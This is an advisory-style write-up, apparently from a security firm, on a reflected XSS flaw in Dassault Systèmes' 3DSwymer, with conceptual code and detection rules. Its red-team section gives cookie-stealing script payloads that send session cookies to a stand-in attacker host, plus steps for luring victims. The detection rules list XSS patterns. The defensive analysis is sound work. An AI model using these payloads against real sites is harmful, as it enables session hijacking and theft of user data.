CVE-2024-6379

Executive Summary

CVE-2024-6379 is a reflected Cross-Site Scripting (XSS) vulnerability affecting Dassault Systèmes' 3DSwymer component within the 3DEXPERIENCE platform, spanning releases R2022x through R2024x. This vulnerability allows an unauthenticated attacker to execute arbitrary script code in a user's browser session by crafting a malicious link that, when clicked, reflects the payload back to the user. The CVSS score of 7.7 (High) underscores the potential for data theft, session hijacking, and defacement. With no known public exploit or patch available, organizations using affected versions are at significant risk.

Supply Chain & Package Security

This vulnerability is not related to open-source package ecosystems (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise platform (3DEXPERIENCE) from Dassault Systèmes. Supply chain risk is limited to the vendor's software distribution channels; no third-party package dependencies are implicated.

CVSS Breakdown & Threat Level

• CVSS Score: 7.7 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link
• Scope: Changed (S:C) – impact extends beyond the vulnerable component
• Confidentiality Impact: High (C:H) – potential for data exfiltration
• Integrity Impact: Low (I:L) – limited ability to modify content
• Availability Impact: None (A:N)

Threat Level: High. The combination of network exploitability, no authentication requirement, and potential for session hijacking makes this a critical risk for enterprise deployments.

Deep Dive & Mechanics

The vulnerability resides in the 3DSwymer component, which is part of the 3DEXPERIENCE platform used for collaborative product lifecycle management. The reflected XSS occurs when user-supplied input is improperly sanitized and immediately reflected in the HTTP response without proper encoding. An attacker can craft a URL containing malicious JavaScript, such as:

https://target-3dswymer.example.com/page?param=<script>alert('XSS')</script>

When the victim clicks this link, the browser renders the injected script, executing arbitrary code in the context of the vulnerable application. This can lead to:

• Session token theft (via document.cookie)
• Redirection to phishing pages
• Keylogging or form data capture
• Defacement of the application interface

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The lack of output encoding or input validation in the affected parameter allows the attack to succeed.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Example of vulnerable server-side code (pseudo)
def handle_request(request):
    param = request.GET.get('param')
    response = "<html><body>You searched for: " + param + "</body></html>"
    return response

Patched Code (Conceptual):

# Example of patched code with output encoding
import html

def handle_request(request):
    param = request.GET.get('param')
    safe_param = html.escape(param)
    response = "<html><body>You searched for: " + safe_param + "</body></html>"
    return response

The patched version uses HTML entity encoding to neutralize any script tags or special characters, preventing the browser from interpreting the input as executable code.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable instance of 3DEXPERIENCE (R2022x–R2024x) with 3DSwymer enabled
• A web browser (e.g., Firefox, Chrome)
• A simple HTTP server to capture exfiltrated data (optional)

Exploitation Steps:

1. Identify a vulnerable parameter in the 3DSwymer application (e.g., search, q, error).
2. Craft a malicious URL:

   https://target-3dswymer.example.com/vulnerable-endpoint?param=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Send the URL to a victim via email, chat, or social engineering.
4. When the victim clicks the link, the script executes and sends their session cookie to the attacker's server.
5. Use the stolen cookie to impersonate the victim.

Alternative Payload (Session Hijacking):

<script>new Image().src='https://attacker.com/log?c='+document.cookie</script>

Blue Team

Detection Steps:

1. Monitor web server logs for unusual URL patterns containing <script>, %3Cscript%3E, or other HTML/JavaScript encoding.
2. Deploy a Web Application Firewall (WAF) with rules to block reflected XSS patterns.
3. Use browser-based security headers (Content-Security-Policy, X-XSS-Protection) to mitigate impact.

Lab Setup for Testing:

• Use a sandboxed environment with a vulnerable 3DEXPERIENCE instance.
• Simulate attacks using tools like Burp Suite or OWASP ZAP.
• Validate detection rules with benign and malicious payloads.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing <script> tags in query parameters
  • Outbound connections to unknown IPs or domains from the 3DSwymer server
  • Unusual referrer headers pointing to crafted URLs

• Host IOCs:

  • Web server logs showing repeated requests with encoded XSS payloads
  • Browser history or cache entries with malicious URLs

• File IOCs:

  • Temporary files or logs containing JavaScript payloads (e.g., alert(1))

Detection Engineering

YARA Rule

rule CVE_2024_6379_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting 3DSwymer"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-6379"
    strings:
        $xss1 = "<script>" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "javascript:" ascii wide nocase
        $xss4 = "%3Cscript%3E" ascii wide nocase
        $xss5 = "alert(" ascii wide nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Reflected XSS Attempt Against 3DSwymer
id: 3a4b5c6d-7e8f-9a0b-1c2d-3e4f5a6b7c8d
status: experimental
description: Detects HTTP requests with XSS payloads targeting 3DSwymer endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script>'
            - '%3Cscript%3E'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of script tags in search queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6379 Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: If possible, restrict network access to 3DSwymer instances until a patch is available.
2. Deploy WAF rules: Block common XSS patterns (e.g., <script>, onerror=, javascript:) at the perimeter.
3. Enable CSP: Add a Content-Security-Policy header to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
   

4. User education: Train users not to click suspicious links and to report unusual behavior.

Long-Term Fixes:

• Apply vendor patch when released (monitor Dassault Systèmes security advisories).
• Implement input validation and output encoding in all user-facing parameters.
• Conduct regular security assessments and penetration testing.

Workaround:

• If patching is not possible, consider disabling the vulnerable 3DSwymer component or using a reverse proxy to sanitize input.

Valters IT